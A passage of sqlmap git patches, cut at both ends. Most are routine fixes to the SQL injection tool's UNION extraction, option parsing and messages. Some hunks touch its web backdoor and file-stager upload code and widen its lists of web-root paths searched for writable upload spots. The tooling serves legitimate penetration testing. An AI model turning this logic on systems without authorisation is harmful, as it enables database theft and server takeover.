"pps", "pptx") From 5d10bae31fc0c3f4311259fc925f306e79d8fa74 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 21:07:19 +0200 Subject: [PATCH 419/889] Removing trailing blank lines --- lib/core/option.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/xrange.py | 6 +++--- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- tamper/between.py | 2 +- thirdparty/colorama/winterm.py | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 28bf162f3..ea35341af 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1373,7 +1373,7 @@ def _setHTTPUserAgent(): infoMsg = "fetched random HTTP User-Agent header from " infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) - + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 42e36deb9..dc8c23282 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -277,7 +277,7 @@ def unionUse(expression, unpack=True, dump=False): with kb.locks.value: if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) - + if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) if isListLike(items): diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 142d50a56..0e988be39 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -28,7 +28,7 @@ class xrange(object): self._slice = slice(*args) if self._slice.stop is None: raise TypeError("xrange stop must not be None") - + @property def start(self): if self._slice.start is not None: @@ -75,10 +75,10 @@ class xrange(object): fixed_index = index + self._len() else: fixed_index = index - + if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) - + return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index b09e64003..6f6ec2203 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -12,7 +12,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) - + def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index ecc194633..1b58fc356 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -77,7 +77,7 @@ class Fingerprint(GenericFingerprint): version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA - + """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ diff --git a/tamper/between.py b/tamper/between.py index e7f3d4014..f2e0f91bf 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -54,6 +54,6 @@ def tamper(payload, **kwargs): if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) - + return retVal diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py index ae22c4658..6d17c2cdc 100644 --- a/thirdparty/colorama/winterm.py +++ b/thirdparty/colorama/winterm.py @@ -73,7 +73,7 @@ class WinTerm(object): position.X += 1 position.Y += 1 return position - + def set_cursor_position(self, position=None, on_stderr=False): if position is None: #I'm not currently tracking the position, so there is no default. From f51ea20bbdbf68b9430f828d0e0d156888e64c0f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 22:50:00 +0200 Subject: [PATCH 420/889] Minor style update --- lib/core/settings.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d8340153e..4c691841b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -29,13 +29,12 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" ML = "sqlmap-users@lists.sourceforge.net" # colorful banner -_ = random.sample(('o', 'x', '^', 'p'), 1)[0] BANNER = """\033[01;33m _ - ___ ___| |_%s_%s_ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m + ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| \033[0m\033[4m%s\033[0m\n -""" % (_, _, (31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) +""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 From 49e8083b40f4fa31b26e68641a5a71f023c57cbe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 23:28:45 +0200 Subject: [PATCH 421/889] Bug fix for international letters (range in 160-255 is also printable) --- extra/safe2bin/safe2bin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index a2242fe15..bad03a8d2 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -50,7 +50,7 @@ def safecharencode(value): for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) - retVal = reduce(lambda x, y: x + (y if (y in string.printable or ord(y) > 255) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) + retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) retVal = retVal.replace(SLASH_MARKER, "\\\\") elif isinstance(value, list): From 0296081692d6869f63c16d473bbb32cc26dcdfba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 23:42:40 +0200 Subject: [PATCH 422/889] Minor refactoring --- lib/core/settings.py | 3 +++ lib/request/connect.py | 11 ++++++----- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4c691841b..250bedf8e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -57,6 +57,9 @@ PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" +# Regular expression used for recognition of textual content-type +TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" + # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" diff --git a/lib/request/connect.py b/lib/request/connect.py index 19e62fdcb..2bc90c777 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -82,6 +82,7 @@ from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV @@ -568,11 +569,11 @@ class Connect(object): raise SqlmapConnectionException(warnMsg) finally: - if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(r"(?i)(text|form|message|xml|javascript|ecmascript|json)", responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = unicode(page, errors="replace") - else: - page = page if isinstance(page, unicode) else getUnicode(page) - page = page if isinstance(page, unicode) else getUnicode(page) + if not isinstance(page, unicode): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): + page = unicode(page, errors="ignore") + else: + page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) processResponse(page, responseHeaders) From 90882f081dd30621014f9cecd8e2d7a08d1d7f2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 23:47:57 +0200 Subject: [PATCH 423/889] Language update --- lib/request/inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index abc6d5a73..5bc489f69 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -373,7 +373,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL: warnMsg = "something went wrong with full UNION " - warnMsg += "technique (most probably because of " + warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries). " warnMsg += "Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) From 58d93ffb2b49eb3b9e5871e38d50d50d9aa35edf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 23:53:15 +0200 Subject: [PATCH 424/889] Fix for falling back to partial union (excluding scalar queries) --- lib/request/inject.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 5bc489f69..11feeb938 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -374,14 +374,17 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " - warnMsg += "limitation on retrieved number of entries). " - warnMsg += "Falling back to partial UNION technique" - singleTimeWarnMessage(warnMsg) + warnMsg += "limitation on retrieved number of entries)" + if " FROM " in query.upper(): + warnMsg += ". Falling back to partial UNION technique" + singleTimeWarnMessage(warnMsg) - kb.forcePartialUnion = True - value = _goUnion(query, unpack, dump) - found = (value is not None) or (value is None and expectingNone) - kb.forcePartialUnion = False + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + kb.forcePartialUnion = False + else: + singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY From 074b57804e79d6c89813cab1f2de8751863e1e48 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 00:03:46 +0200 Subject: [PATCH 425/889] Minor style update --- lib/techniques/union/use.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index dc8c23282..7318333ca 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -316,7 +316,7 @@ def unionUse(expression, unpack=True, dump=False): del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("'%s'" % _ for _ in flattenValue(arrayizeValue(items))))) + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items)) if len(status) > width: status = "%s..." % status[:width - 3] From acb3b1d1fedf1adc5de87dac95078f46b6a9a807 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 00:12:19 +0200 Subject: [PATCH 426/889] Bug fix for common table/column existence check --- lib/techniques/brute/use.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 11754e1b8..66e565bf1 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -51,7 +51,7 @@ def _addPageTextWords(): return wordsList def tableExists(tableFile, regex=None): - if kb.tableExistsChoice is None and any(_ not in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)): + if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warn(warnMsg) @@ -155,7 +155,7 @@ def tableExists(tableFile, regex=None): return kb.data.cachedTables def columnExists(columnFile, regex=None): - if kb.columnExistsChoice is None and any(_ not in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)): + if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warn(warnMsg) From 1069399668e1ce1ecf8c7dcf8c58f0e103bf13cb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 00:32:15 +0200 Subject: [PATCH 427/889] Minor style update --- plugins/generic/filesystem.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 18df285d1..9c4a949b9 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -77,9 +77,9 @@ class Filesystem: logger.info(infoMsg) else: sameFile = False - warnMsg = "it looks like the file has not been written, this " - warnMsg += "can occur if the DBMS process' user has no write " - warnMsg += "privileges in the destination path" + warnMsg = "it looks like the file has not been written (usually " + warnMsg += "occurs if the DBMS process' user has no write " + warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile From 3cfdb5ff0f39c4e4eefa198f70f7d146ac98c9de Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 00:43:37 +0200 Subject: [PATCH 428/889] Removing / from auto directories (it doesn't make sense to auto-test for uploading to /) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 31b37cd79..5d7deff09 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -716,7 +716,7 @@ def getManualDirectories(): return directories def getAutoDirectories(): - retVal = set("/") + retVal = set() if kb.absFilePaths: infoMsg = "retrieved web server absolute paths: " From c5b71cff1082d91a51f6de237db36cacdd496b7b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 01:12:44 +0200 Subject: [PATCH 429/889] Some filtering --- lib/core/common.py | 6 +++--- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- lib/takeover/web.py | 11 ++++++----- 4 files changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5d7deff09..e14e4a0d3 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -665,7 +665,7 @@ def getManualDirectories(): message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" - message += "[4] brute force search\n" + message += "[4] brute force search" choice = readInput(message, default="1").strip() if choice == "2": @@ -701,10 +701,10 @@ def getManualDirectories(): if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break - infoMsg = "using common directories: %s" % ','.join(directories) + infoMsg = "using generated directory list: %s" % ','.join(directories) logger.info(infoMsg) - msg = "use additional custom directories [Enter for None]: " + msg = "use any additional custom directories [Enter for None]: " answer = readInput(msg) if answer: diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 0641f22c2..c9cd0cd51 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -223,5 +223,5 @@ DUMP_DATA_PREPROCESS = { DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/",) + OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } diff --git a/lib/core/settings.py b/lib/core/settings.py index 250bedf8e..457faeabd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -592,7 +592,7 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 61f376949..cee0afd88 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -46,6 +46,7 @@ from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request +from thirdparty.oset.pyoset import oset class Web: @@ -197,7 +198,7 @@ class Web: directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) - directories = sorted(set(directories)) + directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) @@ -220,9 +221,9 @@ class Web: else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique + # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via LIMIT 'LINES TERMINATED BY' technique" + infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) @@ -239,7 +240,7 @@ class Web: uploaded = True break - # Fall-back to UNION queries file upload technique + # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory @@ -247,7 +248,7 @@ class Web: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via UNION technique" + infoMsg += "via UNION method" logger.info(infoMsg) handle, filename = mkstemp() From 77513e1de962040b7a9821a377318a612660760d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Aug 2014 01:19:10 +0200 Subject: [PATCH 430/889] Minor style update --- lib/core/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e14e4a0d3..cd19c4630 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -662,7 +662,7 @@ def getManualDirectories(): directories = [] message = "what do you want to use for writable directory?\n" - message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) + message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search" @@ -729,7 +729,7 @@ def getAutoDirectories(): directory = ntToPosixSlashes(directory) retVal.add(directory) else: - warnMsg = "unable to retrieve automatically any web server path" + warnMsg = "unable to automatically parse any web server path" logger.warn(warnMsg) _ = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) # web directory From 2ce3ccac46d38b5f0f2cdd8c9890bb05fe3d2429 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Aug 2014 13:06:53 +0200 Subject: [PATCH 431/889] Patch for an Issue #797 (switching to greedy because of performance; it shouldn't be a problem because it was a single line replacement in the first place) --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 457faeabd..74b9788e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -327,7 +327,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" REFLECTED_BORDER_REGEX = r"[^A-Za-z]+" # Regular expression used for replacing non-alphanum characters -REFLECTED_REPLACEMENT_REGEX = r".+?" +REFLECTED_REPLACEMENT_REGEX = r".+" # Maximum number of alpha-numerical parts in reflected regex (for speed purposes) REFLECTED_MAX_REGEX_PARTS = 10 From e3a0f25db03abc93276952d47f15f40a0f730468 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Aug 2014 14:11:23 +0200 Subject: [PATCH 432/889] Patch for an Issue #795 --- lib/core/dump.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/dump.py b/lib/core/dump.py index b054c93df..ba3123ba9 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -399,6 +399,10 @@ class Dump(object): columns = prioritySortColumns(tableValues.keys()) + if conf.col: + cols = conf.col.split(',') + columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) + for column in columns: if column != "__infos__": info = tableValues[column] From e0a8b89069d1c730c866adee045d27b3b270edfa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Aug 2014 14:19:53 +0200 Subject: [PATCH 433/889] Minor patch when trailing space is used with comma to split option items (e.g. '-C id, name') --- lib/core/option.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index ea35341af..14cbeea37 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1567,6 +1567,15 @@ def _cleanupOptions(): if conf.torType: conf.torType = conf.torType.upper() + if conf.col: + conf.col = re.sub(r"\s*,\s*", ",", conf.col) + + if conf.excludeCol: + conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol) + + if conf.binaryFields: + conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields) + threadData = getCurrentThreadData() threadData.reset() From d74b80330651c86be16f449ad8f674da032be15c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Aug 2014 14:45:23 +0200 Subject: [PATCH 434/889] Minor patch --- lib/request/inject.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 11feeb938..3076423f1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -379,10 +379,11 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) + pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) - kb.forcePartialUnion = False + kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) From dcaad75a1ed2be3674acf58884181f5d061b5691 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Aug 2014 15:08:05 +0200 Subject: [PATCH 435/889] Fix for an Issue #794 --- lib/core/settings.py | 2 +- lib/request/inject.py | 3 ++- lib/techniques/union/test.py | 6 +++--- lib/techniques/union/use.py | 5 +++-- 4 files changed, 9 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 74b9788e5..4f1e23616 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -480,7 +480,7 @@ HASHDB_FLUSH_RETRIES = 3 HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "OZkQMtwHoP" # r9e02816 "".join(random.sample(string.ascii_letters, 10)) +HASHDB_MILESTONE_VALUE = "nXkbwIURlN" # rd74b803 "".join(random.sample(string.ascii_letters, 10)) # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 diff --git a/lib/request/inject.py b/lib/request/inject.py index 3076423f1..0904ae515 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -367,11 +367,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION + kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE - if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL: + if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 451eb0f1e..50c92e441 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -187,7 +187,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters @@ -205,7 +205,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) @@ -221,7 +221,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 7318333ca..75e4c4b68 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -67,6 +67,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] + kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] payload = agent.payload(newValue=query, where=where) @@ -182,12 +183,12 @@ def unionUse(expression, unpack=True, dump=False): # NOTE: we assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ + kb.forcePartialUnion or \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not 